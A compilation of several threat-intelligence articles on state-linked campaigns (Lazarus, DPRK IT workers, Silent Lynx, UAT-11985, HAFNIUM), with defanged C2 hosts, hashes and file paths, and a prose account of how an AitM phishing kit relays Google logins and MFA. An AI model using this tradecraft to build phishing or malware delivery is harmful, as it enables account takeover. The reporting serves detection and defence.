Since July, around the time Operation SyncHole began winding down, we have also observed several notable attacks against South Korea employing the COPPERHEDGE backdoor and targeting various South Korean organizations. Interestingly, the start times of these activities align with the earliest evidence we have identified for Operation FlashHole. Although the backdoor was part of the second phase of Operation SyncHole, it has been operating independently with its custom loader since then. These incidents featured malware chains and tools that were distinct from those used in Operation SyncHole and FlashHole.

As AhnLab noted in their report, the same backdoor was likely observed in atypical activity, specifically the Gunra ransomware infection. Our investigation further revealed that one instance of a backdoor infection ultimately resulted in the exfiltration of data to a dark web leak site, which clearly differed from Gunra’s. The site appears to have been crafted exclusively for this activity. In summary, unlike other attacks, the backdoor was used in conjunction with both ransomware and data exfiltration.

Another noteworthy point is that the recent Dream Job campaign employs an updated malware chain that, since around 2024, has primarily involved MISTPEN and ForestTiger rather than the earlier arsenal that included tools such as TechHub and Cubridge. However, the updated versions of this older malware have now re-emerged as part of Operation FlashHole. Considering these changes and all aspects of each attack’s TTPs, we have organized a classification for each attack.

Conclusion

Our analysis shows that the Lazarus Group begins preparing for its next operation shortly after completing the previous one, ultimately deploying an enhanced malware chain by refining existing tools. The group continues to use the advanced version of LPEClient for profiling and payload delivery, indicating that the tool is meticulously managed and well maintained. Ironically, the group seems to have adopted more secure post-quantum cryptography faster than many legitimate security products. These observations suggest the involvement of a dedicated developer, with others orchestrating comprehensive attack scenarios against newly targeted software.

We anticipated that specialized attacks targeting South Korea would persist. However, we did not foresee multiple attack campaigns being executed simultaneously, each leveraging different types of software and tools. Notably, the COPPERHEDGE cluster appears to be involved in monetizing the attacks, while Operation FlashHole is focused on espionage. We are closely monitoring these changes to understand their motivations and ultimate goals.
In October 2025, the South Korean government unveiled a comprehensive cybersecurity plan that will phase out the mandatory installation of security software for users beginning in 2026. We estimate that operations exploiting this software will remain highly active for some time, maximizing efficiency, before the software is fully eliminated or mitigated.

Kaspersky products detect the exploits and malware used in this attack with the following verdicts: MEM:Trojan.Win64.Shellcode.gen, Trojan.Win64.DLLhijack.*, Trojan.Win64.Lazarus.*.

Indicators of compromise

File hashes

TouchShift
ec84d6cb2ae7974767aedac246b50a3e             mscoree.dll
a28cba214058fcae2883d8cffc883abd                mscoree.dll
c105d6b16f544582772de0159f24c00a               mscoree.dll
2f8475a90a25624ed02f1d18d4e6d65d              mscoree.dll
676fabe30a28b53925fba98e34b35986              mscoree.dll
b4a7eff35f048f06fb0a2d7631f23a7d                  mscoree.dll

ClientHub Loader
ff07641dc56914dd90ee0bd7404d7ad7               liblzma.dll

File paths

C:\ProgramData\Package.txt
C:\ProgramData\RasConv\mscoree.dll
C:\ProgramData\Apple\mscoree.dll
C:\ProgramData\ssh\mscoree.dll
C:\ProgramData\qorestor\mscoree.dll
C:\ProgramData\Dell\mscoree.dll
C:\ProgramData\Dell\Dell1.tmp
C:\ProgramData\Dell\Dell3.tmp
C:\Windows\System32\RasConv\mscoree.dll
C:\Windows\System32\RasConv\ActivationStore.dat
C:\Windows\System32\DrvConh\mscoree.dll
C:\Windows\System32\DrvConh\ActivationStore.dat
C:\Program Files\Common Files\System\msadc\msadc.inc
C:\ProgramData\desktops.ini

C2 servers

javadevhouse.co[.]kr
pythonapischool[.]com
hxxps://cubedesign[.]co[.]kr/news            C2 of Cubridge
hxxps://cubedesign[.]co[.]kr/mobile/fashion            C2 of Cubridge
hxxps://fp-news[.]co[.]kr/shop/cart                                C2 of Cubridge
hxxps://k-wbc[.]co[.]kr/skin/social/social_view.php         C2 of ClientHub
hxxps://rcsh[.]co[.]kr/modules/bbs/tiles/bbs_div/inputForm.php    C2 of ClientHub
hxxps://www[.]ksog[.]org/insert_file/handle.php                   C2 of ClientHub

The FBI raided 40 Texas homes over a North Korean scheme that used fake IT workers to target 70 US companies and generate $3 million.

The Justice Department (DoJ) announced coordinated enforcement actions this week targeting North Korea’s long-running scheme to place fake IT workers inside American companies. Two US nationals were arrested, 14 people charged across two separate indictments, and the FBI searched more than 40 residences in Texas, seizing approximately 187 laptops and KVM switch devices.

The Texas operation, called Operation Lonestar Roundup, ran between September 21 and 25. The seized devices are the same laptops American companies shipped to their newly hired remote employees, not knowing those IT workers were North Korean intelligence agents using stolen US identities.

“Today the Department of Justice announced coordinated actions against the Democratic People’s Republic of North Korea (DPRK) government’s schemes to fund its regime through remote information technology (IT) work for U.S. companies.” states DoJ. “These actions include an indictment, two arrests, searches of multiple known or suspected “laptop farms” in Texas pursuant to “Operation Lonestar Roundup,” and the seizure of approximately 187 computer devices used by DPRK IT workers.”

The scheme was simple. North Korean IT workers applied for remote jobs using stolen or fake identities. They used VPNs and proxy servers to make it look like they were working from the United States. American helpers received the laptops provided by employers and installed remote access software so the North Korean workers could use them. These helpers were paid for their role, while the money earned from the jobs was sent back to North Korea through accounts controlled by the regime.

According to an indictment from the Northern District of Ohio, the scheme ran from 2019 to mid-2025 and targeted more than 70 US companies across 17 states. The companies operated in sectors including healthcare, communications, cybersecurity support, retail, and manufacturing.

“In total, the scheme impacted more than 70 U.S. company employers and generated approximately $3 million in revenue for IT workers.” SoJ states.”The revenue is believed to have been sent to sanctioned entities controlled by the DPRK. Victim employers included companies in the health care, communications, cyber support, retail, and manufacturing sectors across Ohio, sixteen additional states, and the District of Columbia.”

The North Korean IT workers earned about $3 million, which prosecutors believe was sent to North Korean entities subject to international sanctions.

The authorities warn the scheme is evolving in response to better detection.

“Increasingly, North Korean IT workers are turning to recruiting American facilitators to counter improved private sector detections and law enforcement actions.” states DoJ. “These workers are hiring facilitators to complete a wider variety of tasks, and in some cases subcontracting entire jobs to third-party foreign nationals. “

That’s not just using Americans as props. It’s actively outsourcing parts of the operation to people inside the US, which makes attribution harder and interception more complicated.

Some IT workers are now subcontracting entire jobs to third-party foreign nationals. Others are hiring facilitators to handle a wider range of tasks beyond just managing the laptops. CrowdStrike, which helped the FBI investigate, tracks the group behind this operation as Famous Chollima and describes the laptop farm infrastructure as vital to overcoming the physical and legal barriers of operating from outside the US.

“These laptop farms enabled FAMOUS CHOLLIMA operatives to pose as legitimate remote workers and siphon illicit wages back to their regime while maintaining persistent access to victim organizations. Working alongside the FBI, CrowdStrike’s threat intelligence into the adversary and their operations, and technical analysis helped make these disruptions possible.” states CrowdStrike.

“This operation marks the beginning of a broader U.S. law enforcement effort to dismantle FAMOUS CHOLLIMA’s U.S. infrastructure. CrowdStrike’s Counter Adversary Operations team intends to remain an integral part of that effort.”

The FBI’s separate public service announcement puts the operation in broader context: “thousands of North Korean state-controlled IT workers” are currently embedded at Western companies, posing what the agency calls a significant national security and intellectual property theft insider threat. North Korean IT workers have individually earned up to $300,000 per year under these schemes, and the collective revenue is measured in hundreds of millions annually, flowing directly to designated entities including the North Korean Ministry of Defense.

This is the fifth round of enforcement actions announced since June 2025 under the DOJ’s DPRK RevGen Domestic Enabler Initiative (June 2025, November 2025, April 2026, and May 2026). The initiative targets people in the United States who help North Korean IT workers carry out these schemes.

According to CrowdStrike, North Korean hackers were responsible for about half of all documented hands-on cyber intrusions over the past year. The regime is also targeting cryptocurrency exchanges and open-source software projects. In 2025 alone, North Korean attackers stole at least $2 billion in cryptocurrency.

The DOJ released a list of email addresses used in these operations, including accounts like randyryang@gmail.com and dev.jerryyang@gmail.com, which companies can add to their screening indicators. The FBI’s public service announcement includes detailed mitigation guidance on spotting DPRK IT worker applications. The red flags are consistent: inconsistencies in work history, reluctance to appear on video, requests to redirect laptop deliveries, and payment accounts that route through intermediaries.

“Threats posed by nation-states like North Korea are a stark reminder that our adversaries will go to great measures to exploit our nation’s economic strength to further and fuel their own nefarious agendas,” said U.S. Attorney David M. Toepfer for the Northern District of Ohio. “We are thankful to FBI Cleveland for their incredible work and persistence to put a stop to these bad actors. These charges serve as an urgent alert to all U.S. companies to remain vigilant in their hiring practices.”

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, IT workers)

Silent Lynx, a group likely based in Kazakhstan, targets Russian energy and government entities in espionage campaigns across Central Asia.

Researchers from Cisco Talos and Recorded Future published a detailed paper on a threat actor they call Silent Lynx (aka UAT-6275, TAG-193), a Kazakhstan nexus group conducting espionage across Central Asia.

The targets include the Orsk Oil Refinery in southern Russia, about 25 kilometers from the Kazakhstan border, and the government of Nizhny Novgorod, a major city about 425 kilometers east of Moscow. The city lies where the Volga and Oka rivers meet, an important waterway system connected to the Caspian Sea. This target may be significant because Kazakhstan depends on the Caspian basin.

The group has been running targeted intrusion campaigns against government bodies, diplomatic missions and civil society organizations across Central Asia since at least 2024.

“Silent Lynx (overlapping with activity tracked as UAT-6275 by Cisco Talos and as TAG-193 by Recorded Future) is a persistent threat actor that has conducted targeted intrusion campaigns against government ministries, diplomatic missions and civil society organizations across Central Asia since at least 2024.” the paper states. “The group maintains a strong focus on high-value public sector organizations in the Commonwealth of Independent States (CIS), frequently leveraging spear-phishing campaigns conducted through compromised government email accounts and malware staging through trusted public services such as GitHub to increase credibility and infection success rates.”

The group overlaps significantly with clusters previously documented under names like YoroTrooper, ShadowSilk, and Hydra Saiga, all pointing at the same underlying activity.

The toolkit is deliberately lightweight: PowerShell-based reverse shells, proprietary shells written in C++, C#, and Go, commodity tunneling tools, and spear phishing emails sent through compromised government email accounts in Tajikistan and Kyrgyzstan to add credibility. GitHub, Telegram, and hijacked legitimate servers all serve as staging platforms. Nothing about it is technically flashy, which is part of why the group has stayed active for years without much public attention.

The researchers found links that go beyond technical evidence. In March 2026, a Tajik government agency contacted a Silent Lynx server, shortly after Kazakhstan’s lower house of parliament ratified a Treaty on Allied Relations with Tajikistan. In early April, a Belarusian government entity appeared on the same infrastructure, about a week before Kazakhstan’s president met with the Belarusian foreign minister in Astana. These links do not prove the reasons behind the activity, but the researchers highlight them in their paper, and they are difficult to ignore.

The connection to the Orsk refinery also has a clear context. A Ukrainian drone attack in August forced the refinery to shut down for months. Russia had already asked Kazakhstan to help make up for the resulting loss of refining capacity. If a Kazakhstan-linked actor was collecting intelligence on Russian energy infrastructure at that time, it could have been assessing the economic impact or trying to understand how the disruption might affect Kazakhstan’s own export pipelines. The researchers stress that they do not have enough evidence to identify a specific motive. However, they present the facts and let readers draw their own conclusions.

“A sample compiled in August 2025 was observed using a document titled Деловое предложение о сотрудничестве между ГК «Туркменнебит» и руководством Орского НПЗ (translated: Business proposal on cooperation between State Concern ‘Turkmennebit’ and the management of Orsk Refinery) (see Figure 11). We assess that this sample may be targeting Russia’s critical energy infrastructure, given the close integration of the Russian BREAK THE SILENCE: TRACKING SILENT LYNX THROUGH EXPOSED INFRASTRUCTURE SHEN & VÖGELE 10 VIRUS BULLETIN CONFERENCE OCTOBER 2026 and Kazakh energy sectors.” continues the report. “The document outlines proposals for developing mutually beneficial cooperation, with a particular focus on the exchange of expertise, technologies, and industry best practices. It is worth noting that the author of this PDF file is ‘pickle rick’ and the document was created just one hour after the payload was compiled. The name ‘pickle’ is aligned with the name ‘pickl’ we observed in the PickleShell PDB string3.”

What gave the group away wasn’t a sophisticated interception, it was their own operational sloppiness. They left open directories exposed on public servers containing live tooling, staged payloads, and one very incriminating shell command history showing keyboard input typed in Latin with a Russian keyboard layout active, so “whoami” came out as “црщфьш.” GitHub commit timestamps across 77 commits fit working hours in Astana, Kazakhstan, at 95 percent, compared to only 51 percent if you plot them against Moscow time. Administration connections to Silent Lynx servers came from ProtonVPN egress IPs geolocated to Kazakhstan, exclusively on weekdays between 7 AM and noon local time.

The group’s servers were also being reached from those VPN addresses, which Proton typically assigns based on geographic proximity. Two malware samples were uploaded to VirusTotal from Kazakhstan within minutes of compilation, which is classic anti-detection testing behavior and points to the operator location directly.

“We identified several additional indicators that strengthen the assessment of a Kazakhstan-based origin. The first derives from what appears to be malware detection-testing activity conducted through VirusTotal.” continues the report. “Two samples showed this pattern: an early Chvost sample12 was uploaded to VirusTotal only 86 seconds after compilation, while a second sample13 was uploaded approximately four minutes after compilation. Both samples were uploaded from Kazakhstan, and the same uploaders had submitted additional tools that were later observed in Silent Lynx campaigns.”

A researcher at Johns Hopkins School of Advanced International Studies told Reuters that the case highlights an important point: cyber espionage is no longer the domain of a few major powers. Smaller countries are also developing their capabilities and running long-term operations against neighboring states, often driven by serious geopolitical interests.

Silent Lynx is also becoming more technically advanced. In April 2026, the group used an exploit for the first time to deliver malware. It abused a WinRAR path traversal flaw (CVE-2025-8088) to place malicious files directly in the Windows Startup folder, without requiring victims to enable macros. The group also stored a public proof of concept for a FortiWeb authentication bypass vulnerability on its own command-and-control (C2) server. Researchers have also found signs of growing interest in Linux systems. After relying mainly on social engineering for two years, Silent Lynx appears to be building a more advanced set of attack tools.

Full joint Virus Bulletin paper with full indicators of compromise, malware hashes, and infrastructure details is available here.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, SILENT LYNX)

Purpose and Scope APT cases disclosed in September 2026 demonstrate that attacks have evolved to exploit the developer ecosystem, cloud services, and network management infrastructure as trust layers. Legitimate software installers, GitHub repositories, Microsoft 365, OneDrive, Telegram, Nostr, routers, and authentication servers were all included in the attack chain. Key Trends Supply chain attacks have […]

This research was conducted jointly with Julian-Ferdinand Vögele of Recorded Future’s Insikt Group. Details of the joint research and presentation are available here.

• Cisco Talos identified UAT-6275 (TAG-193 by Recorded Future) activity targeting government organizations across the Commonwealth of Independent States (CIS). Recovered artifacts show additional interest in water resources and energy. This focus is consistent with intelligence collection and may reflect the regional effects of the Russia–Ukraine war. 
• In activity observed from June 2025 through August 2026, Talos identified four infection-chain types that use macro-enabled documents, PS2EXE downloaders, GitHub-hosted PowerShell, and a crafted WinRAR archive exploiting CVE-2025-8088. The recovered payloads include several custom reverse shells that provide interactive remote access. 
• Three publicly accessible staging directories and GitHub repository history exposed payload builds, tool inventories, and changes to command-and-control (C2) infrastructure. These operational security lapses gave us direct visibility into the group's recent activity. 
• The files recovered from the exposed infrastructure suggest preparation for post-compromise operations and potential activity against Linux hosts and internet-facing appliances.  
• Talos assesses with medium confidence that UAT-6275 has a Kazakhstan nexus, based on infrastructure access, language artifacts, sample submissions, working hours analysis, and regional targeting interests.

---

Background 

Cisco Talos and Recorded Future Insikt Group jointly investigated UAT-6275 activity targeting government organizations across the Commonwealth of Independent States (CIS). The investigation uncovered three publicly accessible staging directories and a previously unreported GitHub repository used to host malicious scripts and payloads. These exposed assets provided visibility into the threat actor's malware development, infrastructure changes and preparations for additional intrusion activity. 

Talos tracks this activity as UAT-6275, while Recorded Future tracks it as TAG-193. It overlaps with Silent Lynx (first reported by Seqrite) and sits within a broader set of campaigns connected to YoroTrooper, which we first reported in 2023. Subsequent research on Tomiris (Kaspersky), ShadowSilk (Group-IB), Cavalry Werewolf (BI.ZONE), and Hydra Saiga (VMRay) identified overlapping indicators across these reported clusters. We assess that UAT-6275 and YoroTrooper likely belong to the same broader activity cluster. However, we continue to track them separately because we have not observed direct indicator or toolset overlap between the two.

This post summarizes our joint Virus Bulletin 2026 white paper, “Break the silence: tracking Silent Lynx through exposed infrastructure” which contains the full technical analysis and indicators of compromise (IOCs).

Victimology 

UAT-6275's targeting is concentrated in Central Asia and the wider CIS region. Across the reviewed campaigns, observed victims and lure themes span nine countries: Kazakhstan, Kyrgyzstan, Tajikistan, Turkmenistan, Uzbekistan, Armenia, Azerbaijan, Russia, and Belarus.

Government and diplomatic affairs 

UAT-6275 targets government institutions responsible for diplomacy, economic development, agriculture, and environmental management. These organizations hold information that can inform bilateral negotiations, economic planning, and regional security decisions.

Our network flow analysis identified activity involving a Tajik government entity shortly after treaty discussions with Kazakhstan in March 2026 and a Belarusian government entity ahead of a bilateral meeting in April. This timing may indicate an interest in regional diplomatic developments.

The decoy documents we recovered also suggest an interest in diplomatic relations, international trade, and aviation. Examples include a diplomatic letter addressed to Armenia’s Ministry of Foreign Affairs.

Water security and resource management 

The group’s interest in regional resources spans environmental management and energy. Talos observed activity involving an Armenian government entity responsible for environmental matters and Uzbekistan’s Smart Forestry initiative, consistent with earlier reporting on Silent Lynx targeting water resource organizations across Central Asia. 

Energy-themed decoys included a cooperation proposal between Turkmenistan’s state oil company, Turkmennebit, and Russia’s Orsk Oil Refinery, used in an August 2025 sample. The refinery supplies petroleum products to Kazakhstan and later shut down after a Ukrainian drone strike in August 2026, with repairs expected to take up to six months. These ties suggest a possible intelligence interest in regional fuel supplies and the war’s implications for Kazakhstan’s energy security.

Campaign timeline 

Since Seqrite first reported Silent Lynx in January 2025, we have identified at least eight campaigns across the region through May 2026. These include malware delivery targeting Russia, Turkmenistan, and Uzbekistan; a credential-harvesting site impersonating Azerbaijan’s State Agency for Public Service; and lures referencing the China–Central Asia Summit and Russian energy infrastructure. In 2026, we also observed activity involving government entities in Tajikistan, Armenia, and Belarus, as well as Uzbekistan’s Smart Forestry initiative in May. 

Infrastructure and malware delivery 

Talos identified three publicly accessible staging directories containing malware and tools of UAT-6275. One sample led to the previously unreported GitHub repository, where the group hosted PowerShell scripts and payloads. Its commit history allowed us to track infrastructure changes and malware development.

The group relies on lightweight reverse shells, including Chvost, Laplas, and PickleShell, to issue commands on compromised systems.

We also recovered Linux-compatible tooling and a publicly available proof-of-concept exploit for FortiWeb CVE-2025-25257 from UAT-6275 infrastructure. These findings suggest interest in expanding the group’s operational capabilities. 

Four infection chains 

UAT-6275 used malicious documents, executable downloaders, and shortcuts to deliver malware, and later incorporated a WinRAR exploit. Talos categorized the recovered samples into four infection chains, A – D, based on how they retrieve and execute their payloads.

The first Chain A samples, observed in June 2025, used macro-enabled Word documents to download and execute a second-stage binary. In July 2025, we observed Chain B downloaders built with PS2EXE, a tool that packages PowerShell scripts as standalone Windows executables. These downloaders retrieved reverse-shell payloads and created scheduled tasks for persistence. 

We first observed Chain C in October 2025. A malicious shortcut launches PowerShell to retrieve and execute a GitHub-hosted script that provides remote shell access. Later samples also downloaded PickleShell and placed it in the Windows Startup folder for persistence.

In April 2026, we identified a RAR archive that exploited CVE-2025-8088 in WinRAR to place PickleShell in the Windows Startup folder (Chain D). The payload runs at the next user sign-in. This was the first vulnerability exploit we observed in UAT-6275’s malware delivery.

Kazakhstan nexus assessment 

Talos assesses with medium confidence that UAT-6275 has a Kazakhstan nexus. Supporting evidence includes Russian-language artifacts, apparent malware-testing submissions from Kazakhstan shortly after compilation, and operator activity consistent with UTC+5 working hours.

Looking ahead 

UAT-6275’s sustained activity and adoption of new delivery techniques suggest the group will continue pursuing access to government organizations across Central Asia and the CIS. Its interest in environmental agencies, economic ministries, and energy infrastructure reflects the intelligence value of regional diplomacy and resource management. 

Defenders in these sectors should monitor unexpected PowerShell activity and payload downloads from public services such as GitHub, alongside scheduled tasks and Startup-folder changes. Keeping archive utilities patched can help reduce exposure to the exploit-assisted delivery observed in this campaign. 

For further details on this research and our accompanying presentation, see “Break the Silence: Tracking Silent Lynx Through Exposed Infrastructure” on Virus Bulletin’s website, as well as Recorded Future’s related blog post.

Coverage 

The following ClamAV signatures detect and block this threat: 

• Win.Backdoor.PickleShell-10060602-0 
• Win.Backdoor.Chvost-10060603-0 
• Win.Malware.Generic-10060604-0 
• Win.Malware.LAPLAS-10060605-0 
• Win.Malware.LAPLAS-10060606-0 
• Win.Proxy.Generic-10060628-0 

The following Snort rules cover this threat: 

• Snort 2: 1:11192, 1:15306, 1:46983, 1:47398 
• Snort 3: 1:46983, 4:16 

IOCs

IOCs for this research can be found at our GitHub repository here. 

UAT-11985 used AI-written lures and an AitM phishing kit in a Taiwan spear-phishing campaign that steals Google logins and bypasses MFA.

Related Posts:

• Suspected TraderTraitor Hackers Use Trojanized Terraform Provider to Deliver FLATROOF and ROOFDECK
• The Devastating Ledger Security Breach
• The Reality of Ransomware Recovery Services

The post UAT-11985 Uses AI-Written Lures and an AitM Phishing Kit Against Taiwan Researchers appeared first on Daily CyberSecurity.

• Cisco Talos identified an advanced persistent threat (APT) spear-phishing campaign against individuals affiliated with Taiwan research organizations. The operation leveraged legitimate public event themes and impersonated reputable academic and policy institutions to establish credibility. 
• The phishing emails exhibited highly consistent structure, rhetoric, and personalization patterns, suggesting the threat actor likely used AI-assisted content generation to rapidly customize invitation lures for different targets while maintaining a common social engineering framework. 
• Beyond traditional email phishing, the actor incorporated QR code phishing (quishing) techniques by modifying legitimate event posters with malicious QR codes, expanding the attack surface beyond email recipients to secondary victims who may encounter printed materials. 
• The campaign deployed an advanced adversary-in-the-middle (AitM) phishing framework that impersonated Google authentication pages and utilized a hybrid HTTP and WebSocket architecture to synchronize authentication workflows in real time, enabling the interception of credentials and multi-factor authentication (MFA) challenges. 
• After technical analysis of the phishing kit, Talos assesses with moderate confidence that the user interface was originally developed in Simplified Chinese and later adapted for Traditional Chinese and English. The localization architecture, Simplified Chinese default language branch, and mainland-Chinese lexical usage collectively suggest a developer whose primary working language is Simplified Chinese.

---

In mid-2026, Talos observed an APT spear-phishing campaign targeting Taiwan-based research organizations. The threat actor appeared to reuse legitimate or plausible public event information, then embedded a hyperlink to actor-controlled infrastructure, while the displayed URL appeared benign. Several invitation emails exhibited nearly identical syntactic structures despite discussing different geopolitical topics, suggesting the content was generated from a reusable prompt template rather than independently authored. While Talos cannot conclusively determine whether the emails were fully generated by a large language model (LLM), the campaign demonstrates strong evidence of AI-assisted content production and personalization. 

Spear-phishing mail 

Based on the phishing emails we observed, the threat actor impersonated legitimate institutions in Taiwan such as Taiwan European Union Centre, NCCU Institute of International Relations, and Taiwan Research Institute. Below is a deep analysis of the mail contents.

An email recipient contacted the organizations concerned to verify the purported senders. However, none of the organizations could confirm that the three senders were employees or representatives of the institutions named in the emails. This suggests that the threat actor fabricated the sender identities while using legitimate organizational names and publicly available event information as cover.

All three emails follow a highly consistent, three-part structure, indicating the use of a common template. The opening section provides a polished (but overly elaborate) description of the geopolitical or policy context. It relies heavily on grandiose yet vague expressions such as “the global strategic landscape,” “reshaping the great-power order,” “three-dimensional analysis,” “forward looking and in-depth analysis,” and “high intensity professional dialogue” to create an impression of academic authority and subject matter expertise. Although the language is generally fluent, the excessive use of policy jargon and abstract strategic terminology makes the content appear formulaic.

The second section is customized for the recipient and uses targeted flattery to encourage engagement. Similar phrases including “admiration,” “authoritative perspective,” “highly perceptive,” and “key practical dimensions” appear across the three messages. These compliments are broadly applicable and contain few verifiable details about the recipient’s actual work, suggesting that the actor personalized a reusable template using publicly available professional information. References to exclusive participation, reserved VIP seating, or the recipient’s supposedly unique expertise further exploit professional recognition and status to reduce suspicion.

The final section presents event logistics, including the topic, date, venue, and registration instructions. Although much of this information appears to have been copied from legitimate institutional websites or public event announcements, its accuracy does not validate the email or the sender. Instead, the actor appears to use authentic event details as a form of legitimacy laundering. The registration links embedded in the emails do not direct recipients to the legitimate event registration pages they seem to represent. For example, one hyperlink displays a legitimate-looking Google Forms URL, while its underlying href redirects the recipient to a deceptive phishing site hosted on a third-party platform. This mismatch between the visible link text and the actual destination demonstrates a deliberate attempt to conceal the phishing infrastructure and exploit the recipient’s trust in a familiar service.

Taken together, the reuse of an almost-identical narrative structure, rhetorical style, personalized flattery, institutional impersonation, and deceptive registration mechanism strongly suggests a coordinated and carefully targeted spear-phishing campaign rather than three independent invitations. The messages also exhibit characteristics consistent with AI-assisted content generation such as grammatically fluent but formulaic prose, excessive use of grandiose and abstract policy terminology, interchangeable praise, repetitive sentence patterns, and rapid customization for different recipients, institutions, and geopolitical topics. Although these linguistic indicators alone cannot conclusively prove the use of generative AI, their consistency across all three emails suggests that the threat actor likely used an AI-assisted template to produce and personalize the phishing lures at scale. The legitimate event details and visible Google Forms URLs were then combined with disguised hyperlinks leading to actor-controlled phishing pages, making the emails appear credible while concealing their actual destination. 

Quishing in the poster 

We also observed the threat actor attaching event posters to several phishing emails. While the poster designs were scraped from legitimate websites, the embedded QR codes were maliciously altered. This modification indicates a calculated physical world attack vector. The actor may have anticipated that recipients might print and display these posters on office bulletin boards, thereby tricking other individuals into scanning the malicious QR code to register for the event. By doing so, the threat actor expands their attack vector beyond traditional email phishing to include quishing (QR code phishing), and broadens their reach within the targeted entities.

Phishing kit used by UAT-11985 

Phishing page’s impersonation 

These three phishing email attacks use the same tactics, techniques, and procedures (TTPs) which include a phishing page impersonating a legitimate Google Form and appearing visually identical to the authentic service. However, aligned with the threat actor's primary objective of credential theft, the malicious form forcibly redirects the user to a spoofed Google login page.

Talos observed that the spoofed Google login panels only support Simplified Chinese (zh-CN), Traditional Chinese (zh-TW), and English locales, with region detection based on the victim's browser “navigator.languages”, strongly suggesting targeting of Chinese-speaking users.

We also observed that this phishing page revealed a hidden HTML <section> designed to simulate a successful Google authentication event. Within this structure, the threat actor embedded an iframe (ID: google-success-frame) configured to load a locally hosted asset (/google-login-assets/operation-success.html). Notably, the iframe includes the sandbox="allow-scripts" attribute. We will discuss JavaScript in the next section.

Attack summary  

The attack chain initiates when a victim clicks a malicious URL delivered via a phishing email. Upon access, the victim is presented with a pixel-perfect replica of the Google sign-in page, which covertly hosts an obfuscated JavaScript payload. Operating as an adversary in the middle (AitM), the threat actor positions their infrastructure between the victim's browser and legitimate Google authentication servers. This allows them to seamlessly forward credentials and dynamically control the victim's user interface step-by-step via a persistent WebSocket connection.

To evade detection and complicate analysis, the malicious JavaScript is embedded at the end of the HTML document and relies on advanced string rotation obfuscation. The script leverages a large, static array of Base64 encoded strings coupled with control flow obfuscation. By utilizing a while(!![]) { push/shift } shuffle loop mechanism, the array rotation is resolved dynamically at runtime, effectively thwarting automated static deobfuscation tools.

Talos’ analysis of the phishing kit's client-side JavaScript indicates, with moderate confidence, that the user interface localization was authored by a native Simplified Chinese speaker. The strongest indicator is the kit's localization architecture:  

1. The base translation object (T) is written entirely in Simplified Chinese and is directly assigned as the zh-CN locale, while the Traditional Chinese (zh-TW) and English (en) locales are derived from it at runtime via an override or merge function (v(T, {...})).  
2. This structure demonstrates that the interface was originally composed in Simplified Chinese and subsequently translated into Traditional Chinese and English, consistent with Simplified Chinese being the developer's primary working language.
3. This assessment is reinforced by lexical choices characteristic of mainland Chinese usage rather than Taiwanese, Hong Kong, or Southeast Asian conventions. For example, the text uses Simplified Chinese forms such as “账号” for “account,” whereas Traditional Chinese environments would more commonly use “帳號” or related variants. Similarly, terms such as “计算机” for “computer,” “邮箱” for “email/mailbox,” “无痕浏览窗口” for “incognito browsing window,” and “访客模式” for “guest mode” reflect terminology commonly seen in mainland-oriented Simplified Chinese software localization. In Taiwanese or Hong Kong contexts, these concepts are typically rendered with Traditional Chinese characters and often different localized wording, such as “電腦,” “電子郵件/信箱,” or “無痕式視窗.” This linguistic pattern is further supported by the ternary-fallback ordering throughout the code, which consistently places Simplified Chinese as the default branch.

Operator-driven phishing page 

Following the deobfuscation and analysis of these JavaScript payloads, Talos identified an advanced, real-time AitM phishing kit targeting Google accounts. Unlike fully automated phishing kits, this framework appears optimized for operator-driven authentication orchestration. This kit impersonates the Google sign-in interface across three locales (zh-CN, zh-TW, en) and employs a dual-channel architecture including HTTP POST and WebSocket to synchronize Google's authentication state in real time. This mechanism effectively bypasses multi-factor authentication (MFA) to harvest complete, authenticated session tokens.

The threat actor deliberately employs a split communication channel architecture to optimize both data exfiltration and real-time command and control (C2) efficiency. For the outbound data exfiltration, the threat actor utilized HTTP POST for stateless, event-driven data transmission. The phishing page actively pushes captured data to the C2 server, including initial browser fingerprints, credential and challenge submissions during user interaction, and periodic heartbeat polls to maintain synchronization. Each call completes independently.

The threat actor uses WebSocket to provide a low-latency, persistent connection. The C2 server streams real-time instructions to the phishing page via this channel, dictating exactly which MFA challenge screen to render. Cisco Talos has also recently published a report on a different phishing campaign where similar WebSocket techniques were observed in a phishing kit used by a Chinese-speaking actor. However, the strategies employed by that phishing kit differ from those in this case.

The following diagram illustrates the real-time AitM relay architecture.

At the beginning phase, the threat actor collects device and browser information, including the locale, user agent, screen dimensions, and mobile-device status. This data is sent to the actor’s HTTP C2 server through a google_login_start request. After the server creates a session, the JavaScript establishes a WebSocket connection with the actor’s C2 infrastructure and receives a snapshot containing the current session state.

The victim enters an email address or phone number into the fake Google login page. The phishing page sends the identifier to the actor’s HTTP C2 server using the google_input_identifier event. The actor’s server then relays the identifier to the real Google authentication service to verify whether the account exists and determines whether a passkey-based flow is enabled. Based on Google’s response, the actor instructs the phishing page through WebSocket state updates to display either the password-entry page or a passkey prompt.

When the victim submits a password, the phishing page sends the password, account identifier, and browser user-agent information to the actor’s HTTP C2 server through a google_login_check request. The actor’s server forwards the credentials to the real Google authentication service. If the credentials are accepted and Google requires additional authentication, the server returns the MFA challenge type and layout. The actor then advances the victim’s interface to the appropriate MFA step through a WebSocket update.

By deliberately splitting one-shot uploads with POST requests from low-latency state updates with WebSocket connection, the threat actor has engineered a seamless credential-harvesting relay. This allows the threat actor to mirror Google's dynamic authentication state in real time, ultimately achieving full account takeover without raising the victim's suspicion.

Coverage  

The following ClamAV signatures detect and block this threat:  

• Html.Phishing.UAT11985-10060614-0 

The following SNORT® rules (SIDs) detect and block this threat:   

• Snort2: 1:67198
• Snort3: 7:31

Indicators of compromise (IOCs)  

The IOCs can be found in our GitHub repository here.

The U.S. offers $10M for Zhang Yu, accused of helping run HAFNIUM attacks that compromised thousands of organizations worldwide.

The U.S. State Department is offering a $10 million reward for information leading to the arrest of Zhang Yu. He is accused of being a key figure in the HAFNIUM campaign, the 2021 operation that targeted Microsoft Exchange servers around the world.

Zhang is a director at Shanghai Firetech Information Science and Technology, a company that U.S. authorities say also carried out hacking operations for the Chinese government. According to the indictment, Zhang supervised Firetech employees involved in cyberattacks and worked directly with another accused hacker, Xu Zewei.

U.S. prosecutors allege that both men worked under China’s Shanghai State Security Bureau, a branch of the Ministry of State Security.

